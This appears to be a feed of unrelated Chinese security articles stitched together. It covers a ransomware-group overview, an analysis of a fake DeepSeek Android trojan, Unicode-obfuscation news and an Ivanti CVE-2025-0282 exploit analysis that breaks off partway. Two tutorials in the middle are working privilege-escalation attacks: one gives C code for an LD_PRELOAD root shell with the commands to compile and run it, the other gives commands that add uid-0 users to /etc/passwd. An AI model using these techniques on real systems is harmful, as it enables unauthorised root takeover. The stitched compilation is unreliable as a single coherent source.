Akira[1]勒索软件被发现于2023年3月,其背后的攻击组织通过RaaS和双重勒索的模式运营该勒索软件,以RaaS模式经营和勒索赎金分成等方式实现非法获利,勒索赎金分别为用于解密被加密文件和删除被窃取的数据两部分。该勒索攻击组织主要通过有效访问凭证、未配置多重身份验证(MFA)的VPN账户和漏洞武器化等方式对目标系统突防,曾利用思科VPN相关漏洞(CVE-2023-20269)实现对目标系统的初始访问。在建立与目标系统初始访问后,利用多种工具作为攻击装备以实现其他恶意行为,例如使用AnyDesk远程控制计算机和传输文件,使用PowerTool关闭与杀毒软件有关的进程,使用PCHunter、Masscan和AdFind获取特定信息,使用Mimikatz窃取凭证,使用Rclone和FileZilla回传窃取到的数据等行为。 Akira具备针对Windows、Linux和VMware等目标系统的勒索软件。除了“窃密+加密”的行为,还存在只窃密不加密的模式,在完成对受害系统数据窃取后,攻击者选择不投放勒索软件,而是通过窃取到的数据威胁受害者进行勒索。国外安全厂商Avast发现Akira勒索软件存在漏洞[2],并于2023年6月29日发布了解密工具,但该工具只适用于6月29日前的Akira勒索软件执行体版本,因为Akira勒索软件开发人员在此后修复了漏洞。Akira勒索攻击组织与之前退出勒索软件市场的Conti勒索攻击组织疑似存在关联,体现在勒索软件执行体的部分代码段和加密数字货币钱包地址等方面。 2024年,Akira受害者信息发布及数据泄露平台发布约310名受害者信息和窃取到的数据,实际受害者数量可能更多。 3.2.1 组织概览 3.3 Black Basta Black Basta勒索软件被发现于2022年4月,其背后的攻击组织通过RaaS和双重勒索的模式运营该勒索软件,由于Black Basta所使用的每个勒索软件执行体都硬编码一个唯一的识别码,故猜测该组织仅采用定向模式开展勒索攻击活动。该勒索攻击组织主要通过有效访问凭证、搭载其他恶意软件和漏洞武器化等方式对目标系统突防。该组织成员在地下论坛发帖寻求组织机构的网络访问凭证,曾利用QBot木马和PrintNightmare相关漏洞CVE-2021-34527实现对目标系统的初始访问。在建立与目标系统初始访问后,利用多种工具作为攻击装备以实现其他恶意行为,例如使用AnyConnect和TeamViewer建立远程连接,使用PsExec执行命令,使用Netcat进行扫描,使用Mimikatz转储凭证,使用Rclone回传窃取到的数据等恶意行为。2023年12月,国外网络安全研究机构Security Research发布一个名为“Black Basta Buster”的解密工具[3],用于恢复被Black Basta勒索软件加密的文件,但该工具仅适用于2022年11月至2023年12月期间的部分勒索软件变种版本。 Black Basta勒索攻击组织与之前退出勒索软件市场的BlackMatter和Conti勒索攻击组织疑似存在关联,体现在勒索软件执行体部分代码段,受害者信息发布及数据泄露站点设计风格,通信方式和勒索谈判话术等方面。故猜测Black Basta勒索攻击组织可能是BlackMatter和Conti勒索软件组织的分支或品牌重塑。2024年,Black Basta受害者信息发布及数据泄露平台发布约190名受害者信息,实际受害者数量可能更多。 3.3.1 组织概览 3.4 BlackSuit BlackSuit勒索软件于2023年5月首次被发现,其背后的攻击组织采用双重勒索策略进行运营。该组织具有较为复杂的身份背景,被认为是Royal勒索软件的品牌重塑。Royal是由Zeon组织更名而来,而Zeon疑似由Conti组织的原成员参与建设。Conti组织因源代码泄露等因素而解散,Conti组织被认为是Ryuk的继承者,层层关系错综复杂。目前尚未发现BlackSuit组织通过RaaS模式招收附属成员。BlackSuit具备针对Windows、Linux和VMware等目标系统的勒索软件。该组织主要通过漏洞武器化、有效访问凭证以及搭载其他恶意软件(如SystemBC和GootLoader)等方式对目标系统进行渗透。在建立与目标系统的初始访问后,利用多种工具作为攻击装备以实现其他恶意行为。例如,使用AnyDesk、LogMeIn、AteraAgent等工具远程控制计算机和传输文件,使用Mimikatz和Nirsoft窃取系统中的凭证,使用Rclone回传窃取到的数据。目前暂未发现公开的解密工具。 2024年,BlackSuit受害者信息发布及数据泄露平台发布约150名受害者信息,实际受害者数量可能更多。 3.4.1 组织概览 3.5 Hunters Hunters(又名Hunters International)勒索软件于2023年10月首次被发现,其背后的攻击组织采用RaaS和双重勒索的模式运营该勒索软件。该组织所使用的勒索软件代码在技术架构和操作策略上与已被执法机构查处的Hive组织存在高度相似性。这种相似性使得安全研究人员怀疑Hunters可能是Hive的分支或品牌重塑。然而,Hunters组织否认与Hive有直接关系,声称他们只是购买了Hive的源代码和网络基础设施,并在此基础上使用Rust语言进行了优化,创建了一个独立的品牌。Hunters组织主要通过漏洞武器化、有效访问凭证和搭载其他恶意软件等方式对目标系统进行突防。该组织常利用伪装成Angry IP Scanner网络扫描器的SharpRhino木马实现对目标系统的初始访问。在建立与目标系统的初始访问后,利用多种工具作为攻击装备以实现其他恶意行为。使用Plink、AnyDesk、TeamViewer等工具远程控制计算机、传输文件和横向移动,将窃取到的数据传输到MEGA云平台。目前暂未发现公开的解密工具。 2024年,Hunters受害者信息发布及数据泄露平台发布约230名受害者信息,实际受害者数量可能更多。 3.5.1 组织概览 3.6 INC INC勒索软件于2023年7月首次被发现,其背后的攻击组织采用双重勒索策略进行运营。该勒索攻击组织主要通过漏洞武器化、有效访问凭证以及搭载其他恶意软件等方式对目标系统进行突防,常利用NetScaler产品漏洞CVE-2023-3519。在建立与目标系统的初始访问后,利用多种工具作为攻击装备以实现其他恶意行为。例如,使用AnyDesk、TightVNC、PuTTY等工具实现远程控制、传输工具和横向移动,使用NetScan、Advanced IP Scanner、Mimikatz等工具实现网络扫描和凭证窃取,将窃取到的数据传输到MEGA云平台。目前暂未发现公开的解密工具。 2024年3月,INC组织在黑客论坛上出售其勒索软件和网络基础设施的源代码,售价为30万美元,并将潜在买家的数量限制为三人。7月,新出现的Lynx勒索攻击组织所使用的勒索软件和用于勒索攻击的网络基础设施与INC组织较为相似,后续Lynx组织声明是购买了INC组织的源代码。2024年,INC受害者信息发布及数据泄露平台发布约160名受害者信息,实际受害者数量可能更多。 3.6.1 组织概览 3.7 LockBit LockBit勒索软件[4]于2019年9月首次被发现,初期因其加密后的文件名后缀为.abcd,而被称为ABCD勒索软件。其背后的攻击组织通过RaaS和多重勒索的模式运营该勒索软件,主要通过RaaS和勒索赎金分成获利,使用该勒索软件的威胁行为体在非定向和定向模式下开展勒索攻击。该组织在2021年6月发布了勒索软件2.0版本,增加了删除磁盘卷影和日志文件的功能,同时发布专属数据窃取工具StealBit,采用“威胁曝光(出售)企业数据+加密数据”双重勒索策略。2021年8月,该组织的攻击基础设施频谱增加了对DDoS攻击的支持。2022年6月勒索软件更新至3.0版本,由于3.0版本的部分代码与BlackMatter勒索软件代码重叠,因此LockBit 3.0又被称为LockBit Black,这反映出不同勒索攻击组织间可能存在的人员流动、能力交换等情况。2024年2月20日,多国执法机构联合开展的“Cronos行动”成功对LockBit勒索攻击组织造成打击,执法机构接管了该组织用于攻击的网络基础设施,并为受害者提供用于解密的密钥。此次行动并未将LockBit组织彻底剿灭,该组织在沉寂一段时间后再次开始勒索攻击活动,并于2024年12月19日宣布计划在2025年2月推出LockBit 4.0版本。LockBit组织主要通过有效访问凭证、漏洞武器化和搭载其他恶意软件等方式实现对目标系统的初始访问。目前暂未发现公开的解密工具。 2023年10月,波音公司被LockBit勒索攻击组织列为受害者,安天CERT从攻击过程还原、攻击工具清单梳理、勒索样本机理、攻击致效后的多方反应、损失评估、过程可视化复盘等方面开展了分析工作,并针对事件中暴露的防御侧问题、RaaS+定向勒索的模式进行了解析,并提出了防御和治理方面的建议[5]。2024年,LockBit受害者信息发布及数据泄露平台发布约520名受害者信息和窃取到的数据,实际受害者数量可能更多。 3.7.1 组织概览 3.8 Medusa Medusa勒索软件于2021年6月首次被发现,与2019年出现的MedusaLocker勒索软件无关。该组织主要通过漏洞武器化、有效访问凭证和远程桌面协议(RDP)暴力破解等方式对目标系统突防。曾利用Fortinet相关漏洞(CVE-2023-48788)实现对目标系统的初始访问。在建立与目标系统初始访问后,利用多种工具作为攻击装备以实现其他恶意行为。例如,使用ConnectWise、PDQ Deploy、AnyDesk等工具远程控制计算机和传输文件,使用NetScan扫描发现其他可攻击目标。目前暂未发现公开的解密工具。 2024年,其受害者信息发布及数据泄露平台留有已发布的约210名受害者信息,实际受害者数量可能更多。 3.8.1 组织概览 3.9 Play Play(又称PlayCrypt)勒索软件[6]于2022年6月首次被发现,其背后的攻击组织通过双重勒索的模式运营该勒索软件,并声称不通过RaaS模式运营,使用该勒索软件的攻击者在非定向和定向模式下开展勒索攻击。该勒索攻击组织主要通过有效访问凭证和漏洞武器化等方式对目标系统进行突防,曾利用Fortinet(CVE-2018-13379、CVE-2020-12812)和Microsoft Exchange Server(CVE-2022-41040、CVE-2022-41082)相关漏洞实现对目标系统的初始访问。在建立与目标系统的初始访问后,利用多种工具作为攻击装备以实现其他恶意行为。例如,使用AdFind发现Active Directory相关信息,使用Grixba窃取特定信息,使用GMER、IObit、PowerTool等工具禁用杀毒软件和删除日志文件,使用SystemBC实现横向移动,使用Mimikatz窃取系统中的凭证,使用WinRAR打包要窃取的文件并通过WinSCP回传。目前暂未发现公开的解密工具。 Play勒索攻击组织疑似与Conti、Royal、Hive和Nokoyawa勒索攻击组织存在关联,体现在用于攻击的基础设施和勒索攻击活动中所使用的技战术等方面。2024年,其受害者信息发布及数据泄露平台留有已发布的约350名受害者信息,实际受害者数量可能更多。 3.9.1 组织概览 3.10 RansomHub RansomHub勒索软件[7]于2024年2月首次被发现,其背后的攻击组织通过RaaS和双重勒索的模式运营该勒索软件,该勒索攻击组织主要通过漏洞武器化、有效访问凭证和搭载其他恶意软件等方式对目标系统进行突防。在建立与目标系统的初始访问后,利用多种工具作为攻击装备以实现其他恶意行为。曾利用Confluence(CVE-2023-22515)、Citrix(CVE-2023-3519)、Fortinet(CVE-2023-27997)相关漏洞实现对目标系统的初始访问。成功访问后创建用户账户实现持久化,利用EDRKillShifter禁用并关闭安全防护工具,后续利用Angry IP Scanner、Nmap、NetScan等工具扫描发现其他可攻击目标,利用Mimikatz、LaZagne等工具收集系统中的凭据,利用PsExec、AnyDesk、Connectwise等工具实现远程访问和横向移动,利用PuTTY、Rclone等工具回传窃取到的数据。目前暂未发现公开的解密工具。 RansomHub勒索攻击组织使用的勒索软件载荷和技战术与Knight组织有相似之处,疑似为Knight组织的品牌重塑或继承者。2024年,RansomHub受害者信息发布及数据泄露平台发布约530名受害者信息,实际受害者数量可能更多。 3.10.1 组织概览 总结 尽管各国执法机构不断加强对勒索攻击组织的打击力度,但勒索事件的数量却仍在呈现上升趋势。导致勒索攻击活跃度不降反增的因素众多:攻击者能够快速利用新漏洞,远程办公的脆弱性增加,新技术的应用为勒索软件提供了更多攻击机会;IAB通过售卖访问凭证获利,攻击者利用这些凭证实施定向攻击;人工智能技术的发展既增强了防御能力,也被攻击者用于提高攻击效率;勒索攻击组织之间的技战术互相利用,以及供应链式勒索攻击事件频发,都使得受害者数量不断增加。面对日益严峻的勒索攻击形势,尽管各国执法机构和网络安全机构已采取诸多措施加强防御和打击力度,但勒索攻击的复杂性和多样性仍给全球网络安全带来了巨大挑战。 为有效应对勒索风险,防御者需要改变对勒索攻击这一威胁的认知,并且更深入地了解定向勒索攻击的运行机理,才能构建有效的敌情想定,针对性的改善防御和响应能力。安天曾在波音遭遇勒索攻击事件分析复盘报告[5]中提出——“正确的认知是有效改善防御能力的基础”。目前国内对勒索攻击的防范,往往还停留在原有的勒索软件的阶段,还有许多人没有意识到勒索攻击已经是由持续定向入侵、窃取数据、加密数据瘫痪系统、勒索金钱、挖掘数据关联价值二次利用、贩卖数据、向监管机构举报、公开窃取数据所构成的一条价值侵害链,而且已经形成了一个规模极为庞大的犯罪产业。在这样的背景下,遭遇勒索攻击的风险已经不是简单的以数据损失和业务暂停为后果的形态,而是要付出失窃的所有数据均会被贩卖、公开等一系列的连锁风险。 面对攻击者体系化的攻击作业方式,防御者应建立体系化的防御机制和运营策略去应对勒索攻击威胁。针对体系性的攻击,必须坚持关口前移,向前部署,构成纵深,闭环运营。提升攻击者火力侦察和进展到外围地带的发现能力,降低攻击方进入到核心地带的可能性。提升网络和资产可管理性是工作的基础:主动塑造和加固安全环境、强化暴露面和可攻击面的约束和管理、强化对供应链上游入口的管控、启动全面的日志审计分析和监测运行。构建从拓扑到系统侧的防御纵深,针对攻击者探测、投放、漏洞利用、代码运行、持久化、横向移动等行为展开层层设防,特别要建设好主机系统侧防护,将其作为最后一道防线和防御基石,构建围绕执行体识别管控的细粒度治理能力。最终通过基于防御体系实现感知、干扰、阻断定向攻击杀伤链的实战运行效果。 参考链接 [1]安天.疑似使用定向攻击模式的Akira勒索软件分析 [R/OL].(2023-05-30) https://www.antiy.cn/research/notice&report/research_report/Akira_Ransomware_Analysis.html [2] Avast. Decrypted: Akira Ransomware [R/OL].(2023-06-29) https://decoded.avast.io/threatresearch/decrypted-akira-ransomware/ [3]Security Research Lab. Black Basta Buster [R/OL].(2023-12-30) https://github.com/srlabs/black-basta-buster [4]安天. LockBit勒索软件样本分析及针对定向勒索的防御思考 [R/OL].(2023-11-17) https://www.antiy.cn/research/notice&report/research_report/LockBit.html [5]安天.波音遭遇勒索攻击事件分析复盘——定向勒索的威胁趋势分析与防御思考 [R/OL].(2023-12-30) https://www.antiy.cn/research/notice&report/research_report/BoeingReport.html [6]安天.PLAY勒索软件分析[R/OL].(2023-10-20) https://www.antiy.cn/research/notice&report/research_report/PlayCrypt_Analysis.html [7]安天.活跃的RansomHub勒索攻击组织情况分析[R/OL].(2024-09-12) https://www.antiy.cn/research/notice&report/research_report/RansomHub_Analysis.html
-
潜伏8大高危指令!仿冒DeepSeek竟能远程开启VNC监控,你的手机可能成为肉鸡
近日,国产AI大模型DeepSeek(深度求索)一经推出,凭借其卓越的性能在全球范围内引发了广泛关注,与此同时也成为了不法分子聚焦的目标。安天移动安全团队通过国家计算机病毒应急处理中心的协同分析平台,发现了一批假冒DeepSeek的恶意应用程序。针对这一情况,安天移动安全团队迅速展开了深入分析和关联拓展,揭示了这些恶意应用的潜在威胁,并采取了相应的防护措施,为用户安全使用国产AI产品保驾护航。 1.样本基本特征对比 仿冒应用程序名、图标与正版应用别无二致,普通用户难以分辨真假。 2.样本详细分析 1# 动态分析 恶意应用运行后直接提示更新,点击后会直接弹出安装同名恶意子包弹框请求。 诱导用户请求启用无障碍服务。 程序名、图标和正版基本一致,且可以同时安装于同一设备中。 与官方正版应用比较,恶意样本运行后的界面如下,直接访问的DeepSeek的官网。 正版DeepSeek应用如下,可以看到需要登录后才能正常使用,运行界面也不一致。 2# 静态分析 该恶意应用使用了一些对抗手段来对抗逆向分析工具,增加分析难度,逃避安全检测,具体如下: 样本通过工具创建同名文件夹,对抗分析工具。 使用伪加密修改zip文件数据的方式让工具误认为存在密码。 使用整体自定义壳进行加固处理。 使用类名、变量名混淆来增加分析难度。 使用动态加载的方式加载恶意子包。 子包功能详细分析: 其关键指令解析如下: 主要信息获取行为如下: 1、获取短信信息。 2、获取通讯录。 3、发送短信。 4、获取应用安装列表。 5、获取cookie。 6、通过无障碍服务监控用户的点击、输入等行为。 7、窃取google验证码。 8、VNC屏幕监控。 9、通过激活设备管理器和无障碍服务防卸载。 3# 网址信息服务器网址如下: 3.历史溯源 根据分析恶意木马的服务器指令特征,发现该木马与历史家族Trojan/Android.Coper的指令基本一致,如下图所示(左图为该木马,右图为Trojan/Android.Coper家族样本)。 该木马家族作为长期活跃的恶意攻击威胁,于2021年7月被首次披露,安天病毒百科已经收录了该家族样本,见https://www.virusview.net/malware/Trojan/Android/Coper。该木马初期以伪装成哥伦比亚官方金融应用“Bancolombia Personas”进行传播,后续逐步扩展伪装对象至Chrome浏览器、Google Play应用商店、McAfee安全软件及DHL Mobile等全球知名应用。其攻击链通过仿冒合法程序诱导用户下载并执行恶意代码,进而实现敏感数据窃取,包括但不限于短信内容、通讯录信息及主流社交/金融应用的账户凭据,最终对受害者构成隐私泄露与资金安全的双重威胁。 4.分析总结 经综合分析,该恶意样本采用多层伪装机制,其主程序仿冒为DeepSeek官方应用,通过诱导性展示目标官网界面降低用户警惕性。在运行阶段,样本通过动态代码加载技术隐蔽加载恶意子包,并建立与C&C服务器的加密通信信道。恶意模块具备多维度数据窃取能力,包括:1、隐私窃取模块(短信/联系人/应用列表等);2、界面监控模块(滥用无障碍服务权限实施屏幕内容抓取);3、指令执行模块(支持远程指令解析,实现功能动态扩展)。攻击链中特别采用界面伪装与恶意行为分离机制,有效规避基础安全检测,最终导致用户敏感信息泄露及设备控制权限沦陷。 安天威胁情报中心已通过实时威胁狩猎系统完成覆盖该家族全量样本的检测规则部署,并联动移动终端防护体系实现安装阻断,为防范AI技术滥用场景下的新型网络威胁提供主动防御支撑。 (相关链接: https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=E1FF086B629CE744A7C8DBE6F3DB0F68) 5.防护建议 1、建议从官方网站、各大手机厂商应用平台下载正版应用。 2、对与请求无障碍服务和激活设备管理器的行为提高警惕,不轻易授予相关权限。 3、在手机设置中关闭"允许安装未知来源应用"的选项。 4、定期在设置-应用管理中查看近期安装的陌生程序。 5、对设备电量异常消耗的情况予以关注。 6、养成定期使用手机管家等具有杀毒功能应用的使用习惯,及时查杀病毒。 6.关联样本 银行间谍木马: 除此之外,通过内部大数据关联分析发现,近期除了上面提到的银行木马外,还存在其他冒用DeepSeek名义从事诈骗活动的情况,如下为部分关联样本信息:
-
使用LD_Preload的Linux权限升级技巧
0x00 前言 共享库是程序在启动时加载的库。正确安装共享库后,之后启动的所有程序将自动使用新的共享库。 0x01 共享库名称 每个共享库都有一个名为soname的特殊名称。soname有前缀lib,库的后缀名为.so,后跟句号和版本号。 动态链接器可以通过运行一些动态链接的程序或共享对象来间接运行。程序ld.so和ld linux.so*查找并加载程序所需的共享对象(共享库),准备程序执行,然后运行它。(从这里读) LD_Preload:它是一个环境变量,它列出了共享库,其中包含重写标准集的函数,就像/etc/ld.so.preload一样。这些是由loader/lib/ld-linux实现的。 想了解更多信息,请阅读此处。 0x02 实验设置 日志用户必须拥有一些sudo权限,这一点很重要,因此,我们已经赋予sudo用户一些sudo权限,例如由sudo用户执行的/usr/bin/find。但除此之外,还有一些默认配置,您可以在其中设置一个环境变量作为sudo 为此,请按照以下步骤操作: 输入visudo打开/etc/sudoers文件 现在赋予一个用户一些sudo权限,在我们的例子中,“raj”将成为sudoers的成员 raj ALL=(ALL:ALL) NOPASSWD: /usr/bin/find 然后添加以下内容作为默认配置来设置LD_preload的环境。 Defaults env_keep += LD_PRELOAD 0x03 权限升级 要利用此类漏洞,我们需要立即攻击受害者的主机,然后进入到权限提升阶段。假设你现在通过ssh成功登录到受害者的主机上,利用sudo -l命令来检测它并获取利用信息。注意突出显示的环境变量将作为sudo运行环境。 让我们在/tmp目录中生成一个C程序文件。 #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); } 然后将其保存为/cmp中的shell.c 如上所述,让我们编译它以生成一个带有.so扩展名的共享对象,同样在Windows操作系统中使用.dll文件,因此输入以下内容: gcc -fPIC -shared -o shell.so shell.c -nostartfiles ls -al shell.so sudo LD_PRELOAD=/tmp/shell.so find id whoami 非常好,我们获得了ROOT访问权限。
-
编辑/etc/passwd文件进行权限升级的技巧
0x00 前言 在本文中,我们将学习“修改/etc/passwd文件以创建或更改用户的root权限的各种方法”。有时,一旦目标被攻击,就必须知道如何在/etc/passwd文件中编辑自己的用户以进行权限升级,其中我们将此技巧应用于权限提升。打开下面给出的链接: 链接1:Hack the Box Challenge: Apocalyst Walkthrough 链接2:Hack the Hackday Albania VM (CTF Challenge) 0x01 基础知识 首先,在进行提权之前,我们应该深入了解/etc/passwd文件。在etc目录中,我们将得到三个最重要的文件,即passwd、group和shadow。 etc/passwd:它是一个可读的文本文件,存储用户帐户的信息 etc/group:也是一个可读的文本文件,它存储组信息以及用户所属的组,可以通过该文件识别。 etc/shadow:它是一个包含加密密码的文件,任何用户的用户信息都将过期。 /passwd: 文件中的详细信息格式 详细说明 Username:第一个字段表示用于登录用户的名称 Encrypted password:x表示加密密码,实际存储在/shadow文件中。如果用户没有密码,则密码字段将用*(星号)表示 User Id (UID):必须为每个用户分配一个用户ID(UID)。Uid 0(零)为root用户保留,UID 1-99为进一步的预定义帐户保留,UID 100-999为管理目的由系统保留。UID 1000几乎是第一个非系统用户,通常是管理员。如果我们在Ubuntu系统上创建一个新用户,它将被赋予UID 1001 Group Id (GID):表示每个用户的组;与UID一样,前100个GID通常保留以供系统使用。GID为0与root组相关,GID为1000通常表示用户。新组通常分配GID从1000开始 Gecos Field:通常,这是一组以逗号分隔的值,用于说明与用户相关的更多详细信息。GECOS字段的格式表示以下信息: 用户全名 地址和门牌号码或联系人 办公电话号码 家庭电话号码 任何其他联系信息 Home Directory:表示用户主目录的路径,其中存储用户的所有文件和程序。如果没有指定的目录,则/将成为用户的目录 Shell:它表示(由用户)执行命令并显示结果的默认shell的完整路径 注意:每个字段用(冒号)分隔 0x02 提权技巧 1.默认方法添加用户 让我们首先通过cat命令打开/etc/passwd文件,以查看系统中当前可用的用户 从上面给出的截图中,您可以看到“raj”是最后一个使用uid 1000的用户。这里gid 1000表示它是非系统用户。 当我们使用adduser命令添加任何用户时,让我们看看/passwd文件中实际发生了什么。因此,在这里您可以清楚地看到下面给出的信息以及截图。 adduser user1 Username: user1 GID: 1002 UID: 1001 Enter password: 任意密码 Home Directory: /home/user1 Gecos Filed:full Name(全名), Room Number(门牌号), Work phone(工作电话), Home Phone(家庭电话), Other 当您打开/passwd文件时,您会注意到上述所有信息都存储在/etc/passwd文件中 2./etc/passwd文件中手动编辑用户 一般来说,普通用户对passwd文件具有只读权限,但有时用户也可能具有读/写权限,在这种情况下,我们可以借助上述理论将自己的用户添加到/etc/passwd文件中。 user2:*:1002:1003:,,,:/home/user2:/bin/bash *(星号)符号表示对于user2空口令。 因为我们已经为user2分配了GID 1003 ,所以我们也需要在/etc/group文件中对其进行处理 请遵循以下格式: 语法:username:x:gid 因为我们没有密码,所以在x处使用*符号 user2:*:1003: 现在,使用passwd命令为user2设置密码并输入密码。 passwd user2 由于我们在不使用adduser命令的情况下手动创建了一个新用户user2,因此在/etc/shadow文件中找不到任何有关信息。但是它在/etc/passwd文件中,此处*符号已被加密密码值替换。通过这种方式,我们可以创建自己的用户以进行权限提升。 3.OpenSSL 有时无法执行passwd命令来设置用户的密码; 在这种情况下,我们可以使用OpenSSL命令,它将使用salt生成加密密码。 OpenSSL passwd将使用salt字符串和基于MD5的BSD密码算法1计算指定密码的哈希值 语法:openssl passwd-1-salt[salt value]password openssl passwd -1 -salt user3 pass123 我们将获得加密的密码,然后在终端中输入vipw命令打开/passwd文件,并手动添加用户名。按照添加新用户user3的手动步骤,在*或X处粘贴加密值以获取密码。 在下图中,您可以看到,我已经分配了uid:0和gid:0以及主目录/root/root,因此我们为用户user3赋予了root权限。 现在切换用户并通过user3访问终端并确认root访问权限。 su user3 whoami id YESSSSSS表示以root权限访问 注意:您还可以修改其他用户的密码,方法是将:x:替换为您自己加密的密码,然后使用您的密码登录该用户帐户 4.mkpasswd mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。 语法:mkpasswd -m [hash type] {password} mkpasswd -m SHA-512 pass 它将为您的密码字符串生成哈希值,重复上述步骤或更改其他现有用户的密码。 如果您将比较user1的信息,那么您还可以注意到不同。我们已经替换了: X: 来自我们的哈希值。 现在切换用户并通过user1访问终端并确认root访问权限 su user1 whoami id 很好,成功以root权限访问 5.Python 使用python,我们可以导入crypt库,并将salt添加到我们的密码中,这将创建包含salt值的加密密码。 python -c 'import crypt; print crypt.crypt("pass", "$6$salt")' 它将生成密码字符串的哈希值,重复上述步骤或更改其他现有用户的密码。如果您将比较user2的信息,那么您还可以注意到不同。我们已经从新的哈希值替换了旧的哈希值。 现在切换用户并通过user2访问终端并确认root访问权限。 su user2 whoami id pwd sudo -l 它也能进行提权,以前它是/home/user2目录的成员,但是在成为/root目录的成员之后,您可以注意到它拥有root用户的所有特权 6.Perl 类似地,我们可以使用Perl和crypt来使用salt值为我们的密码生成哈希值。 perl -le 'print crypt("pass123", "abc")' 您将获得加密的密码,然后在终端中键入vipw命令并手动添加用户名,再次打开/passwd文件。按照添加新用户user4的手动步骤,将加密值粘贴到*或X的位置以获取密码。 在下图中,您可以看到,我分配了uid:0和gid:0以及home directory/root/root,因此我们为user4赋予了root权限 现在切换用户并通过user4访问终端并确认root访问权限。 su user4 whoami id 很好,这种方法也能获取root权限。 7.PHP 同样,我们可以使用PHP和crypt来使用salt值为我们的密码生成哈希值。 php -r "print(crypt('aarti','123') . \"\n\");" 您将获得加密的密码,然后在终端中键入vipw命令打开/passwd文件,并手动添加用户名。按照添加新用户user5的手动步骤,并将加密值粘贴到密码字段中。 在下图中,您可以看到,我分配了uid:0和gid:0以及home directory/root/root,因此我们为user5授予了root权限 现在切换用户并通过user5访问终端并确认root访问权限。 su user5 whoami id 因此,有很多方法可以为您自己的用户添加root访问权限,这对于在任何主机中获得root权限非常有帮助。
-
网络钓鱼攻击使用隐形Unicode Trick隐藏JavaScript
一种新的JavaScript混淆方法利用不可见的Unicode字符来表示二进制值,在针对美国政治行动委员会(PAC)附属机构的网络钓鱼攻击中被积极滥用。 发现此次攻击的网络威胁实验室报告称,该攻击发生在2025年1月初,并带有复杂的迹象,例如使用了: ·针对受害者提供个性化的非公开信息; ·调试器断点和定时检查以逃避检测; ·递归包装邮戳跟踪链接到模糊的最终网络钓鱼目的地。 JavaScript开发人员在2024年10月首次披露了这种混淆技术,它在实际攻击中的迅速采用凸显了新研究被武器化的速度。 使JS有效负载“不可见” 新的混淆技术利用不可见的Unicode字符,特别是韩文半宽(U+FFA0)和韩文全宽(U+3164)。 JavaScript负载中的每个ASCII字符被转换为8位二进制表示,其中的二进制值(1和0)被不可见的韩文字符替换。 混淆后的代码作为属性存储在JavaScript对象中,由于韩文填充字符呈现为空白,因此脚本中的有效负载看起来为空,如下图末尾的空白所示。 隐藏恶意代码的空白 一个简短的引导脚本使用JavaScript代理的“get()陷阱”检索隐藏的有效负载。当访问hidden属性时,Proxy将不可见的韩文填充字符转换回二进制并重建原始JavaScript代码。 Juniper分析师报告称,攻击者除了上述步骤之外,还使用了额外的隐藏步骤,比如用base64编码脚本,并使用反调试检查来逃避分析。 韩文填充字符序列的Base64编码 Juniper解释说:“攻击是高度个性化的,包括非公开信息,最初的JavaScript会在被分析时试图调用调试器断点,检测到延迟,然后通过重定向到一个正常的网站来中止攻击。” 这种攻击很难检测,因为空白减少了安全扫描仪将其标记为恶意的可能性。 由于有效负载只是对象中的一个属性,因此可以将其注入合法脚本而不会引起怀疑;另外,整个编码过程很容易实现,不需要高级知识。 Juniper表示,此次活动中使用的两个域名先前与Tycoon 2FA网络钓鱼工具包有关。如果是这样,我们很可能会看到这种不可见的混淆方法在未来被更广泛的攻击者采用。
-
Ivanti Connect Secure栈溢出漏洞(CVE-2025-0282)分析与复现
漏洞概述 Ivanti Connect Secure、Ivanti Policy Secure和Ivanti Neurons for ZTA gateways 是Ivanti 公司提供的远程访问和安全连接解决方案,主要功能包含VPN、访问控制、流量加密等。其IF-T/TLS协议在认证前,存在栈缓冲区溢出漏洞,攻击者可以利用该漏洞实现未授权远程代码执行。该漏洞已被APT组织利用。 影响范围 Ivanti Connect Secure 22.7R2 - 22.7R2.4 Ivanti Policy Secure 22.7R1 - 22.7R1.2 Ivanti Neurons for ZTA gateways 22.7R2 - 22.7R2.3 复现环境 版本:Ivanti Connect Secure 22.7R2.3 环境搭建 Ivanti Connect Secure 22.7R2.3导入虚拟机后开机,按照界面提示设置IP地址,管理员账号和密码等。 配置成功后,进入命令行界面,可以根据编号进行系统管理,但是无法执行底层Shell命令。 同时在浏览器中使用HTTPS协议打开配置的IP地址,可以正常显示Web登录界面。 查看虚拟机磁盘文件,尝试挂载到其他系统,解包出系统中的文件。但是文件系统被加密,无法通过常规挂载方式获取系统文件。这种情况下,常见方案可以逆向分析系统启动流程,分析解密算法,解密出系统文件。但是时间成本比较高。 笔者则是选择使用另一种方法,将虚拟机暂停后,修改其内存文件中的/home/bin/dsconfig.pl字符串为///////////////bin/sh。/home/bin/dsconfig.pl是控制台界面执行时需要调用的脚本文件,替换后等待控制台界面超时后按“回车”,即可获取底层Shell。 获取到底层Shell后,可以执行任意系统命令。然后使用自带的python程序,开启web服务,下载系统文件进行逆向分析。 漏洞分析 根据公开的POC,漏洞使用HTTPS触发。定位到HTTPS服务的进程为/home/bin/web。 逆向分析该web程序后发现,IF-T/TLS协议在认证时,获取客户端属性字段“clientIP”、“clientHostName”、“clientCapabilities”等进行处理。 在处理过程中,使用strncpy复制clientCapabilities属性值时,最后一个参数v23是要复制的最大字节数。但是这里错误的使用了从客户端获取的clientCapabilities属性值的长度加1,用户可控制。 而目的缓冲区(dest)是一个栈缓冲区,最大长度为256。客户端可传入超过256字节长度的clientCapabilities属性值,从而导致该栈缓冲区溢出。 溢出后可覆盖栈中保存的返回地址,待执行到函数返回时,将跳转到覆盖的指定内存地址执行任意代码。 漏洞利用 根据以上分析,溢出后只需要覆盖栈中保存的返回地址即可执行任意代码。但事实并非这么简单。目前遇到的问题: 1. 程序自身安全措施 2. 虚函数调用 3. 释放对象内存 首先分析下web程序自身的安全保护措施。 该程序有NX和PIE保护,溢出后,栈中的数据默认没有执行权限,不能作为shellcode直接执行,可使用ROP技术绕过。 PIE和系统地址随机化安全措施,导致内存地址不再是固定值,无法提前预测,可使用信息泄露或者暴力破解等方法解决。分析后没找到可泄露内存地址的方法,由于该程序是32位程序,理论上最多尝试16的4次方,共65536次,可暴力破解libc.so.6的内存基地址。 在执行到覆盖的返回地址前,还执行了许多其他代码,其中一个虚函数调用地址可能被覆盖,导致程序异常退出,无法执行到栈中被覆盖的返回地址。解决方法是在libc.so.6的内存中搜索满足该条件的虚函数调用,保证能正常执行到后续代码。 